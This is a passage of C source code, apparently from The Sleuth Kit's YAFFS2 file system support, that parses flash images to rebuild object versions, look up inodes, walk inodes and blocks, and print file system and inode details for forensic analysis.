spr, yfs->spare_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->spare_size)) { // couldn't read sufficient bytes... if (spare) { free(spr); *spare = NULL; } return 1; } if ((sp = (YaffsSpare*) tsk_malloc(sizeof(YaffsSpare))) == NULL) { return 1; } memset(sp, 0, sizeof(YaffsSpare)); /* * Complete read of the YAFFS2 spare */ // The format of the spare area should have been determined earlier memcpy(&seq_number, &spr[yfs->spare_seq_offset], 4); memcpy(&object_id, &spr[yfs->spare_obj_id_offset], 4); memcpy(&chunk_id, &spr[yfs->spare_chunk_id_offset], 4); if ((YAFFS_SPARE_FLAGS_IS_HEADER & chunk_id) != 0) { sp->seq_number = seq_number; sp->object_id = object_id & ~YAFFS_SPARE_OBJECT_TYPE_MASK; sp->chunk_id = 0; sp->has_extra_fields = 1; sp->extra_parent_id = chunk_id & YAFFS_SPARE_PARENT_ID_MASK; sp->extra_object_type = (object_id & YAFFS_SPARE_OBJECT_TYPE_MASK) >> YAFFS_SPARE_OBJECT_TYPE_SHIFT; } else { sp->seq_number = seq_number; sp->object_id = object_id; sp->chunk_id = chunk_id; sp->has_extra_fields = 0; } free(spr); *spare = sp; return 0; } static uint8_t yaffsfs_is_spare_valid(YAFFSFS_INFO * /*yfs*/, YaffsSpare *spare) { if (spare == NULL) { return 1; } if ((spare->object_id > YAFFS_MAX_OBJECT_ID) || (spare->seq_number < YAFFS_LOWEST_SEQUENCE_NUMBER) || (spare->seq_number > YAFFS_HIGHEST_SEQUENCE_NUMBER)) { return 1; } return 0; } static uint8_t yaffsfs_read_chunk(YAFFSFS_INFO *yfs, YaffsHeader **header, YaffsSpare **spare, TSK_OFF_T offset) { TSK_OFF_T header_offset = offset; TSK_OFF_T spare_offset = offset + yfs->page_size; if (header == NULL || spare == NULL) { return 1; } if (yaffsfs_read_header(yfs, header, header_offset) != 0) { return 1; } if (yaffsfs_read_spare(yfs, spare, spare_offset) != 0) { free(*header); *header = NULL; return 1; } return 0; } /** * Cycle through the entire image and populate the cache with objects as they are found. */ static uint8_t yaffsfs_parse_image_load_cache(YAFFSFS_INFO * yfs) { uint8_t status = TSK_OK; uint32_t nentries = 0; YaffsSpare *spare = NULL; uint8_t tempBuf[8]; uint32_t parentID; if (yfs->cache_objects) return 0; for(TSK_OFF_T offset = 0;offset < yfs->fs_info.img_info->size;offset += yfs->page_size + yfs->spare_size){ status = yaffsfs_read_spare( yfs, &spare, offset + yfs->page_size); if (status != TSK_OK) { break; } if (yaffsfs_is_spare_valid(yfs, spare) == TSK_OK) { if((spare->has_extra_fields) || (spare->chunk_id != 0)){ yaffscache_chunk_add(yfs, offset, spare->seq_number, spare->object_id, spare->chunk_id, spare->extra_parent_id); } else{ // If we have a header block and didn't extract it already from the spare, get the parent ID from // the non-spare data if(8 == tsk_img_read(yfs->fs_info.img_info, offset, (char*) tempBuf, 8)){ memcpy(&parentID, &tempBuf[4], 4); yaffscache_chunk_add(yfs, offset, spare->seq_number, spare->object_id, spare->chunk_id, parentID); } else{ // Really shouldn't happen fprintf(stderr, "Error reading header to get parent id at offset %" PRIxOFF "\n", offset); yaffscache_chunk_add(yfs, offset, spare->seq_number, spare->object_id, spare->chunk_id, 0); } } } free(spare); spare = NULL; ++nentries; } if (tsk_verbose) fprintf(stderr, "yaffsfs_parse_image_load_cache: read %d entries\n", nentries); if (tsk_verbose) fprintf(stderr, "yaffsfs_parse_image_load_cache: started processing chunks for version cache...\n"); fflush(stderr); // At this point, we have a list of chunks sorted by obj id, seq number, and offset // This makes the list of objects in cache_objects, which link to different versions yaffscache_versions_compute(yfs); if (tsk_verbose) fprintf(stderr, "yaffsfs_parse_image_load_cache: done version cache!\n"); fflush(stderr); // Having multiple inodes point to the same object seems to cause trouble in TSK, especially in orphan file detection, // so set the version number of the final one to zero. // While we're at it, find the highest obj_id and the highest version (before resetting to zero) YaffsCacheObject * currObj = yfs->cache_objects; YaffsCacheVersion * currVer; while(currObj != NULL){ if(currObj->yco_obj_id > yfs->max_obj_id){ yfs->max_obj_id = currObj->yco_obj_id; } currVer = currObj->yco_latest; if(currVer->ycv_version > yfs->max_version){ yfs->max_version = currVer->ycv_version; } currVer->ycv_version = 0; currObj = currObj->yco_next; } // Use the max object id and version number to construct an upper bound on the inode TSK_INUM_T max_inum = 0; if (TSK_OK != yaffscache_obj_id_and_version_to_inode(yfs->max_obj_id, yfs->max_version, &max_inum)) { return TSK_ERR; } yfs->fs_info.last_inum = max_inum + 1; // One more for the orphan dir // Make sure the orphan dir is greater than the root dir if (yfs->fs_info.last_inum <= yfs->fs_info.root_inum) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffsfs_parse_image_load_cache: Maximum inum %" PRIuINUM " is not greater than the root inum", yfs->fs_info.last_inum); return TSK_ERR; } return TSK_OK; } // A version is allocated if: // 1. This version is pointed to by yco_latest // 2. This version didn't have a delete/unlinked header after the most recent copy of the normal header static uint8_t yaffs_is_version_allocated(YAFFSFS_INFO * yfs, TSK_INUM_T inode){ YaffsCacheObject * obj; YaffsCacheVersion * version; YaffsCacheChunk * curr; TSK_RETVAL_ENUM result = yaffscache_version_find_by_inode(yfs, inode, &version, &obj); if (result != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffs_is_version_allocated: yaffscache_version_find_by_inode failed! (inode: %d)\n", inode); return 0; } if(obj->yco_latest == version){ curr = obj->yco_latest->ycv_header_chunk; while(curr != NULL){ // We're looking for a newer unlinked or deleted header. If one exists, then this object should be considered unallocated if((curr->ycc_parent_id == YAFFS_OBJECT_UNLINKED) || (curr->ycc_parent_id == YAFFS_OBJECT_DELETED)){ return 0; } curr = curr ->ycc_next; } return 1; } else{ return 0; } } /* * TSK integration * * */ static uint8_t yaffs_make_directory(YAFFSFS_INFO *yaffsfs, TSK_FS_FILE *a_fs_file, TSK_INUM_T inode, const char *name) { TSK_FS_FILE *fs_file = a_fs_file; fs_file->meta->type = TSK_FS_META_TYPE_DIR; fs_file->meta->mode = (TSK_FS_META_MODE_ENUM)0; fs_file->meta->nlink = 1; if((inode == YAFFS_OBJECT_UNLINKED) || (inode == YAFFS_OBJECT_DELETED) || (inode == yaffsfs->fs_info.last_inum)){ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ if(yaffs_is_version_allocated(yaffsfs, inode)){ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNALLOC); } } fs_file->meta->uid = fs_file->meta->gid = 0; fs_file->meta->mtime = fs_file->meta->atime = fs_file->meta->ctime = fs_file->meta->crtime = 0; fs_file->meta->mtime_nano = fs_file->meta->atime_nano = fs_file->meta->ctime_nano = fs_file->meta->crtime_nano = 0; if (fs_file->meta->name2 == NULL) { if ((fs_file->meta->name2 = (TSK_FS_META_NAME_LIST *) tsk_malloc(sizeof(TSK_FS_META_NAME_LIST))) == NULL) { return 1; } fs_file->meta->name2->next = NULL; } if (fs_file->meta->attr != NULL) { tsk_fs_attrlist_markunused(fs_file->meta->attr); } else { fs_file->meta->attr = tsk_fs_attrlist_alloc(); } strncpy(fs_file->meta->name2->name, name, TSK_FS_META_NAME_LIST_NSIZE); fs_file->meta->size = 0; fs_file->meta->attr_state = TSK_FS_META_ATTR_EMPTY; fs_file->meta->addr = inode; return 0; } static uint8_t yaffs_make_regularfile( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file, TSK_INUM_T inode, const char * name ) { TSK_FS_FILE *fs_file = a_fs_file; fs_file->meta->type = TSK_FS_META_TYPE_REG; fs_file->meta->mode = (TSK_FS_META_MODE_ENUM)0; fs_file->meta->nlink =1; if(yaffs_is_version_allocated(yaffsfs, inode)){ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNALLOC); } fs_file->meta->uid = fs_file->meta->gid = 0; fs_file->meta->mtime = fs_file->meta->atime = fs_file->meta->ctime = fs_file->meta->crtime = 0; fs_file->meta->mtime_nano = fs_file->meta->atime_nano = fs_file->meta->ctime_nano = fs_file->meta->crtime_nano = 0; if (fs_file->meta->name2 == NULL) { if ((fs_file->meta->name2 = (TSK_FS_META_NAME_LIST *) tsk_malloc(sizeof(TSK_FS_META_NAME_LIST))) == NULL) return 1; fs_file->meta->name2->next = NULL; } if (fs_file->meta->attr != NULL) { tsk_fs_attrlist_markunused(fs_file->meta->attr); } else { fs_file->meta->attr = tsk_fs_attrlist_alloc(); } fs_file->meta->addr = inode; strncpy(fs_file->meta->name2->name, name, TSK_FS_META_NAME_LIST_NSIZE); fs_file->meta->size = 0; fs_file->meta->attr_state = TSK_FS_META_ATTR_EMPTY; return 0; } /** * \internal * Create YAFFS2 Deleted Object * * @ param yaffs file system * fs_file to copy file information to * return 1 on error, 0 on success */ static uint8_t yaffs_make_deleted( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file ) { TSK_FS_FILE *fs_file = a_fs_file; if (tsk_verbose) tsk_fprintf(stderr, "yaffs_make_deleted: Making virtual deleted node\n"); if (yaffs_make_directory(yaffsfs, fs_file, YAFFS_OBJECT_DELETED, YAFFS_OBJECT_DELETED_NAME)) return 1; return 0; } /** * \internal * Create YAFFS2 Unlinked object * * @ param yaffs file system * fs_file to copy file information to * return 1 on error, 0 on success */ static uint8_t yaffs_make_unlinked( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file ) { TSK_FS_FILE * fs_file = a_fs_file; if (tsk_verbose) tsk_fprintf(stderr, "yaffs_make_unlinked: Making virtual unlinked node\n"); if (yaffs_make_directory(yaffsfs, fs_file, YAFFS_OBJECT_UNLINKED, YAFFS_OBJECT_UNLINKED_NAME)) return 1; return 0; } /** * \internal * Create YAFFS2 orphan object * * @ param yaffs file system * fs_file to copy file information to * return 1 on error, 0 on success */ static uint8_t yaffs_make_orphan_dir( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file ) { TSK_FS_FILE * fs_file = a_fs_file; TSK_FS_NAME *fs_name = tsk_fs_name_alloc(256, 0); if (fs_name == NULL) return TSK_ERR; if (tsk_verbose) tsk_fprintf(stderr, "yaffs_make_orphan_dir: Making orphan dir node\n"); if (tsk_fs_dir_make_orphan_dir_name(&(yaffsfs->fs_info), fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } if (yaffs_make_directory(yaffsfs, fs_file, yaffsfs->fs_info.last_inum, (char *)fs_name)){ tsk_fs_name_free(fs_name); return 1; } tsk_fs_name_free(fs_name); return 0; } /* yaffsfs_inode_lookup - lookup inode, external interface * * Returns 1 on error and 0 on success * */ static uint8_t yaffs_inode_lookup(TSK_FS_INFO *a_fs, TSK_FS_FILE * a_fs_file, TSK_INUM_T inum) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)a_fs; YaffsCacheObject *obj; YaffsCacheVersion *version; YaffsHeader *header = NULL; YaffsSpare *spare = NULL; TSK_RETVAL_ENUM result; uint8_t type; const char *real_name; if (a_fs_file == NULL) { tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffsfs_inode_lookup: fs_file is NULL"); return 1; } if (a_fs_file->meta == NULL) { if ((a_fs_file->meta = tsk_fs_meta_alloc(YAFFS_FILE_CONTENT_LEN)) == NULL) return 1; } else { tsk_fs_meta_reset(a_fs_file->meta); } if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: looking up %" PRIuINUM "\n",inum); switch(inum) { case YAFFS_OBJECT_UNLINKED: yaffs_make_unlinked(yfs, a_fs_file); return 0; case YAFFS_OBJECT_DELETED: yaffs_make_deleted(yfs, a_fs_file); return 0; } if(inum == yfs->fs_info.last_inum){ yaffs_make_orphan_dir(yfs, a_fs_file); return 0; } result = yaffscache_version_find_by_inode(yfs, inum, &version, &obj); if (result != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: yaffscache_version_find_by_inode failed! (inode = %d)\n", inum); return 1; } if(version->ycv_header_chunk == NULL){ return 1; } if (yaffsfs_read_chunk(yfs, &header, &spare, version->ycv_header_chunk->ycc_offset) != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: yaffsfs_read_chunk failed!\n"); return 1; } type = header->obj_type; switch(inum) { case YAFFS_OBJECT_LOSTNFOUND: real_name = YAFFS_OBJECT_LOSTNFOUND_NAME; break; case YAFFS_OBJECT_UNLINKED: real_name = YAFFS_OBJECT_UNLINKED_NAME; break; case YAFFS_OBJECT_DELETED: real_name = YAFFS_OBJECT_DELETED_NAME; break; default: real_name = header->name; break; } switch(type) { case YAFFS_TYPE_FILE: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is a file\n"); yaffs_make_regularfile(yfs, a_fs_file, inum, real_name); break; case YAFFS_TYPE_DIRECTORY: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is a directory\n"); yaffs_make_directory(yfs, a_fs_file, inum, real_name); break; case YAFFS_TYPE_SOFTLINK: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is a symbolic link\n"); yaffs_make_regularfile(yfs, a_fs_file, inum, real_name); a_fs_file->meta->type = TSK_FS_META_TYPE_LNK; break; case YAFFS_TYPE_HARDLINK: case YAFFS_TYPE_UNKNOWN: default: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is *** UNHANDLED *** (type %d, header at 0x%x)\n", type, version->ycv_header_chunk->ycc_offset); // We can still set a few things a_fs_file->meta->type = TSK_FS_META_TYPE_UNDEF; a_fs_file->meta->addr = inum; if(yaffs_is_version_allocated(yfs, inum)){ a_fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ a_fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNALLOC); } if (a_fs_file->meta->name2 == NULL) { if ((a_fs_file->meta->name2 = (TSK_FS_META_NAME_LIST *) tsk_malloc(sizeof(TSK_FS_META_NAME_LIST))) == NULL){ return 1; } a_fs_file->meta->name2->next = NULL; } strncpy(a_fs_file->meta->name2->name, real_name, TSK_FS_META_NAME_LIST_NSIZE); break; } /* Who owns this? I'm following the way FATFS does it by freeing + NULLing * this and mallocing if used. */ free(a_fs_file->meta->link); a_fs_file->meta->link = NULL; if (type != YAFFS_TYPE_HARDLINK) { a_fs_file->meta->mode = (TSK_FS_META_MODE_ENUM)(header->file_mode & TWELVE_BITS_MASK); // chop at 12 bits; a_fs_file->meta->uid = header->user_id; a_fs_file->meta->gid = header->group_id; a_fs_file->meta->mtime = header->mtime; a_fs_file->meta->atime = header->atime; a_fs_file->meta->ctime = header->ctime; } if (type == YAFFS_TYPE_FILE) { a_fs_file->meta->size = header->file_size; // NOTE: This isn't in Android 3.3 kernel but is in YAFFS2 git //a_fs_file->meta->size |= ((TSK_OFF_T) header->file_size_high) << 32; } if (type == YAFFS_TYPE_HARDLINK) { // TODO: Store equivalent_id somewhere? */ } if (type == YAFFS_TYPE_SOFTLINK) { a_fs_file->meta->link = (char*)tsk_malloc(YAFFS_HEADER_ALIAS_LENGTH); if (a_fs_file->meta->link == NULL) { free(header); free(spare); return 1; } memcpy(a_fs_file->meta->link, header->alias, YAFFS_HEADER_ALIAS_LENGTH); } free(header); free(spare); return 0; } /* yaffsfs_inode_walk - inode iterator * * flags used: TSK_FS_META_FLAG_USED, TSK_FS_META_FLAG_UNUSED, * TSK_FS_META_FLAG_ALLOC, TSK_FS_META_FLAG_UNALLOC, TSK_FS_META_FLAG_ORPHAN * * Return 1 on error and 0 on success */ static uint8_t yaffsfs_inode_walk(TSK_FS_INFO *fs, TSK_INUM_T start_inum, TSK_INUM_T end_inum, TSK_FS_META_FLAG_ENUM flags, TSK_FS_META_WALK_CB a_action, void *a_ptr) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; TSK_FS_FILE *fs_file; TSK_RETVAL_ENUM result; uint32_t start_obj_id; uint32_t start_ver_number; uint32_t end_obj_id; uint32_t end_ver_number; uint32_t obj_id; YaffsCacheObject *curr_obj; YaffsCacheVersion *curr_version; result = yaffscache_inode_to_obj_id_and_version(start_inum, &start_obj_id, &start_ver_number); result = yaffscache_inode_to_obj_id_and_version(end_inum, &end_obj_id, &end_ver_number); if (end_obj_id < start_obj_id) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffsfs_inode_walk: end object id must be >= start object id: " "%" PRIx32 " must be >= %" PRIx32 "", end_obj_id, start_obj_id); return 1; } /* The ORPHAN flag is unsupported for YAFFS2 */ if (flags & TSK_FS_META_FLAG_ORPHAN) { if (tsk_verbose){ tsk_fprintf(stderr, "yaffsfs_inode_walk: ORPHAN flag unsupported by YAFFS2"); } } if (((flags & TSK_FS_META_FLAG_ALLOC) == 0) && ((flags & TSK_FS_META_FLAG_UNALLOC) == 0)) { flags = (TSK_FS_META_FLAG_ENUM)(flags | TSK_FS_META_FLAG_ALLOC | TSK_FS_META_FLAG_UNALLOC); } /* If neither of the USED or UNUSED flags are set, then set them * both */ if (((flags & TSK_FS_META_FLAG_USED) == 0) && ((flags & TSK_FS_META_FLAG_UNUSED) == 0)) { flags = (TSK_FS_META_FLAG_ENUM)(flags | TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNUSED); } if ((fs_file = tsk_fs_file_alloc(fs)) == NULL) return 1; if ((fs_file->meta = tsk_fs_meta_alloc(YAFFS_FILE_CONTENT_LEN)) == NULL) return 1; for (obj_id = start_obj_id; obj_id <= end_obj_id; obj_id++) { int retval; result = yaffscache_version_find_by_inode(yfs, obj_id, &curr_version, &curr_obj); if (result == TSK_OK) { TSK_INUM_T curr_inode; YaffsCacheVersion *version; // ALLOC, UNALLOC, or both are set at this point if (flags & TSK_FS_META_FLAG_ALLOC) { // Allocated only - just look at current version if (yaffscache_obj_id_and_version_to_inode(obj_id, curr_obj->yco_latest->ycv_version, &curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } // It's possible for the current version to be unallocated if the last header was a deleted or unlinked header if(yaffs_is_version_allocated(yfs, curr_inode)){ if (yaffs_inode_lookup(fs, fs_file, curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } retval = a_action(fs_file, a_ptr); if (retval == TSK_WALK_STOP) { tsk_fs_file_close(fs_file); return 0; } else if (retval == TSK_WALK_ERROR) { tsk_fs_file_close(fs_file); return 1; } } } if (flags & TSK_FS_META_FLAG_UNALLOC){ for (version = curr_obj->yco_latest; version != NULL; version = version->ycv_prior) { if (yaffscache_obj_id_and_version_to_inode(obj_id, version->ycv_version, &curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } if(! yaffs_is_version_allocated(yfs, curr_inode)){ if (yaffs_inode_lookup(fs, fs_file, curr_inode) != TSK_OK) { tsk_fs_file_close(fs_file); return 1; } retval = a_action(fs_file, a_ptr); if (retval == TSK_WALK_STOP) { tsk_fs_file_close(fs_file); return 0; } else if (retval == TSK_WALK_ERROR) { tsk_fs_file_close(fs_file); return 1; } } } } curr_obj = curr_obj->yco_next; } } /* * Cleanup. */ tsk_fs_file_close(fs_file); return 0; } static TSK_FS_BLOCK_FLAG_ENUM yaffsfs_block_getflags(TSK_FS_INFO *fs, TSK_DADDR_T a_addr) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; TSK_FS_BLOCK_FLAG_ENUM flags = TSK_FS_BLOCK_FLAG_UNUSED; TSK_OFF_T offset = (a_addr * (fs->block_pre_size + fs->block_size + fs->block_post_size)) + yfs->page_size; YaffsSpare *spare = NULL; YaffsHeader *header = NULL; if (yaffsfs_read_spare(yfs, &spare, offset) != TSK_OK) { /* NOTE: Uh, how do we signal error? */ return flags; } if (yaffsfs_is_spare_valid(yfs, spare) == TSK_OK) { /* XXX: Do we count blocks of older versions unallocated? * If so, we need a smarter way to do this :/ * * Walk the object from this block and see if this * block is used in the latest version. Could pre- * calculate this at cache time as well. */ if (spare->chunk_id == 0) { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_META); } else { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_CONT); } // Have obj id and offset // 1. Is the current version of this object allocated? // 2. If this is a header, is it the header of the current version? // 3. Is the chunk id too big given the current header? // 4. Is there a more recent version of this chunk id? YaffsCacheObject * obj = NULL; yaffscache_object_find(yfs, spare->object_id, &obj); // The result really shouldn't be NULL since we loaded every chunk if(obj != NULL){ if(! yaffs_is_version_allocated(yfs, spare->object_id)){ // If the current version isn't allocated, then no chunks in it are flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } else if (obj->yco_latest == NULL || obj->yco_latest->ycv_header_chunk == NULL) { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } else if(spare->chunk_id == 0){ if(obj->yco_latest->ycv_header_chunk->ycc_offset == offset - yfs->page_size){ // Have header chunk and it's the most recent header chunk flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_ALLOC); } else{ // Have header chunk but isn't the most recent flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } } else{ // Read in the full header yaffsfs_read_header(yfs, &header, obj->yco_latest->ycv_header_chunk->ycc_offset); // chunk_id is 1-based, so for example chunk id 2 would be too big for a file // 500 bytes long if(header->file_size <= ((spare->chunk_id - 1) * (fs->block_size))){ flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); } else{ // Since at this point we know there should be a chunk with this chunk id in the file, if // this is the most recent version of the chunk assume it's part of the current version of the object. YaffsCacheChunk * curr = obj->yco_latest->ycv_last_chunk; while(curr != NULL){ // curr should really never make it to the beginning of the list // Did we find our chunk? if(curr->ycc_offset == offset - yfs->page_size){ flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_ALLOC); break; } // Did we find a different chunk with our chunk id? if(curr->ycc_chunk_id == spare->chunk_id){ flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNALLOC); break; } curr = curr->ycc_prev; } } } } } else { flags = (TSK_FS_BLOCK_FLAG_ENUM)(flags | TSK_FS_BLOCK_FLAG_UNUSED | TSK_FS_BLOCK_FLAG_UNALLOC); } free(spare); free(header); return flags; } /* yaffsfs_block_walk - block iterator * * flags: TSK_FS_BLOCK_FLAG_ALLOC, TSK_FS_BLOCK_FLAG_UNALLOC, TSK_FS_BLOCK_FLAG_CONT, * TSK_FS_BLOCK_FLAG_META * * Return 1 on error and 0 on success */ static uint8_t yaffsfs_block_walk(TSK_FS_INFO *a_fs, TSK_DADDR_T a_start_blk, TSK_DADDR_T a_end_blk, TSK_FS_BLOCK_WALK_FLAG_ENUM a_flags, TSK_FS_BLOCK_WALK_CB a_action, void *a_ptr) { TSK_FS_BLOCK *fs_block; TSK_DADDR_T addr; // clean up any error messages that are lying around tsk_error_reset(); /* * Sanity checks. */ if (a_start_blk < a_fs->first_block || a_start_blk > a_fs->last_block) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffsfs_block_walk: start block: %" PRIuDADDR, a_start_blk); return 1; } if (a_end_blk < a_fs->first_block || a_end_blk > a_fs->last_block || a_end_blk < a_start_blk) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_WALK_RNG); tsk_error_set_errstr("yaffsfs_block_walk: end block: %" PRIuDADDR , a_end_blk); return 1; } /* Sanity check on a_flags -- make sure at least one ALLOC is set */ if (((a_flags & TSK_FS_BLOCK_WALK_FLAG_ALLOC) == 0) && ((a_flags & TSK_FS_BLOCK_WALK_FLAG_UNALLOC) == 0)) { a_flags = (TSK_FS_BLOCK_WALK_FLAG_ENUM) (a_flags | TSK_FS_BLOCK_WALK_FLAG_ALLOC | TSK_FS_BLOCK_WALK_FLAG_UNALLOC); } if (((a_flags & TSK_FS_BLOCK_WALK_FLAG_META) == 0) && ((a_flags & TSK_FS_BLOCK_WALK_FLAG_CONT) == 0)) { a_flags = (TSK_FS_BLOCK_WALK_FLAG_ENUM) (a_flags | TSK_FS_BLOCK_WALK_FLAG_CONT | TSK_FS_BLOCK_WALK_FLAG_META); } if ((fs_block = tsk_fs_block_alloc(a_fs)) == NULL) { return 1; } for (addr = a_start_blk; addr <= a_end_blk; addr++) { int retval; int myflags; myflags = yaffsfs_block_getflags(a_fs, addr); // test if we should call the callback with this one if ((myflags & TSK_FS_BLOCK_FLAG_META) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_META))) continue; else if ((myflags & TSK_FS_BLOCK_FLAG_CONT) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_CONT))) continue; else if ((myflags & TSK_FS_BLOCK_FLAG_ALLOC) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_ALLOC))) continue; else if ((myflags & TSK_FS_BLOCK_FLAG_UNALLOC) && (!(a_flags & TSK_FS_BLOCK_WALK_FLAG_UNALLOC))) continue; if (tsk_fs_block_get(a_fs, fs_block, addr) == NULL) { tsk_error_set_errstr2("yaffsfs_block_walk: block %" PRIuDADDR, addr); tsk_fs_block_free(fs_block); return 1; } retval = a_action(fs_block, a_ptr); if (retval == TSK_WALK_STOP) { break; } else if (retval == TSK_WALK_ERROR) { tsk_fs_block_free(fs_block); return 1; } } /* * Cleanup. */ tsk_fs_block_free(fs_block); return 0; } static uint8_t yaffsfs_fscheck(TSK_FS_INFO * /*fs*/, FILE * /*hFile*/) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_UNSUPFUNC); tsk_error_set_errstr("fscheck not implemented yet for YAFFS"); return 1; } /** * Print details about the file system to a file handle. * * @param fs File system to print details on * @param hFile File handle to print text to * * @returns 1 on error and 0 on success */ static uint8_t yaffsfs_fsstat(TSK_FS_INFO * fs, FILE * hFile) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *) fs; unsigned int obj_count, version_count; uint32_t obj_first, obj_last, version_first, version_last; // clean up any error messages that are lying around tsk_error_reset(); tsk_fprintf(hFile, "FILE SYSTEM INFORMATION\n"); tsk_fprintf(hFile, "--------------------------------------------\n"); tsk_fprintf(hFile, "File System Type: YAFFS2\n"); tsk_fprintf(hFile, "Page Size: %u\n", yfs->page_size); tsk_fprintf(hFile, "Spare Size: %u\n", yfs->spare_size); tsk_fprintf(hFile, "Spare Offsets: Sequence number: %d, Object ID: %d, Chunk ID: %d, nBytes: %d\n", yfs->spare_seq_offset, yfs->spare_obj_id_offset, yfs->spare_chunk_id_offset, yfs->spare_nbytes_offset); tsk_fprintf(hFile, "\nMETADATA INFORMATION\n"); tsk_fprintf(hFile, "--------------------------------------------\n"); yaffscache_objects_stats(yfs, &obj_count, &obj_first, &obj_last, &version_count, &version_first, &version_last); tsk_fprintf(hFile, "Number of Allocated Objects: %u\n", obj_count); tsk_fprintf(hFile, "Object Id Range: %" PRIu32 " - %" PRIu32 "\n", obj_first, obj_last); tsk_fprintf(hFile, "Number of Total Object Versions: %u\n", version_count); tsk_fprintf(hFile, "Object Version Range: %" PRIu32 " - %" PRIu32 "\n", version_first, version_last); return 0; } /************************* istat *******************************/ typedef struct { FILE *hFile; int idx; } YAFFSFS_PRINT_ADDR; /* Callback for istat to print the block addresses */ static TSK_WALK_RET_ENUM print_addr_act(YAFFSFS_INFO * /*fs_file*/, TSK_OFF_T /*a_off*/, TSK_DADDR_T addr, char * /*buf*/, size_t /*size*/, TSK_FS_BLOCK_FLAG_ENUM flags, void *a_ptr) { YAFFSFS_PRINT_ADDR *print = (YAFFSFS_PRINT_ADDR *) a_ptr; if (flags & TSK_FS_BLOCK_FLAG_CONT) { tsk_fprintf(print->hFile, "%" PRIuDADDR " ", addr); if (++(print->idx) == 8) { tsk_fprintf(print->hFile, "\n"); print->idx = 0; } } return TSK_WALK_CONT; } /** * Print details on a specific file to a file handle. * * @param fs File system file is located in * @param hFile File handle to print text to * @param inum Address of file in file system * @param numblock The number of blocks in file to force print (can go beyond file size) * @param sec_skew Clock skew in seconds to also print times in * * @returns 1 on error and 0 on success */ static uint8_t yaffsfs_istat(TSK_FS_INFO *fs, TSK_FS_ISTAT_FLAG_ENUM flags, FILE * hFile, TSK_INUM_T inum, TSK_DADDR_T numblock, int32_t sec_skew) { TSK_FS_META *fs_meta; TSK_FS_FILE *fs_file; YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)fs; char ls[12]; YAFFSFS_PRINT_ADDR print; char timeBuf[32]; YaffsCacheObject * obj = NULL; YaffsCacheVersion * version = NULL; YaffsHeader * header = NULL; yaffscache_version_find_by_inode(yfs, inum, &version, &obj); if ((fs_file = tsk_fs_file_open_meta(fs, NULL, inum)) == NULL) { return 1; } fs_meta = fs_file->meta; tsk_fprintf(hFile, "inode: %" PRIuINUM "\n", inum); tsk_fprintf(hFile, "%sAllocated\n", (fs_meta->flags & TSK_FS_META_FLAG_ALLOC) ? "" : "Not "); if (fs_meta->link) 